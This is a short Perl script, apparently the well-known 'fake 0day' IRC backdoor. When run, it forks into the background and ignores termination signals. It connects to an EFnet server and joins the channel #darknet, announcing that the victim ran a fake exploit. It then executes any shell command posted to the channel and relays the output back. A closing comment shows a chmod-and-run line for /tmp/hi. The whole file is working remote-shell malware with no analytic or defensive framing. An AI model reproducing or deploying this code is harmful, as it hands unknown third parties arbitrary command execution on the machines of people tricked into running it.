#!/usr/bin/perl

$chan="#darknet";
$nick="moron";
$server="efnet.vuurwerk.nl";

$SIG{TERM}={};
exit if fork;

use IO::Socket;

$sock = IO::Socket::INET->new($server.":6667")||exit;

print $sock "USER moron +i moron :moronv2\nNICK moron\n";

$i=1;

while(<$sock>=~/^[^ ]+ ([^ ]+) /){

    $mode=$1;
    last if $mode=="001";

    if($mode=="433"){
        $i++;
        $nick=~s/\d*$/$i/;
        print $sock "NICK $nick\n";
    }
}

print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran 
a fake 0day exploit. v2\nPRIVMSG $chan :to run commands on me, type: 
".$nick.": command\n";

while (<$sock>){

    if (/^PING (.*)$/){
        print $sock "PONG $1\nJOIN $chan\n";
    }

    if (s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/) {
        s/\s*$//;
        $_=`$_`;

        foreach (split "\n") {
            print $sock "PRIVMSG $chan :$_\n";
            sleep 1;
        }
    }
}

#chmod +x /tmp/hi 2>/dev/null;/tmp/hi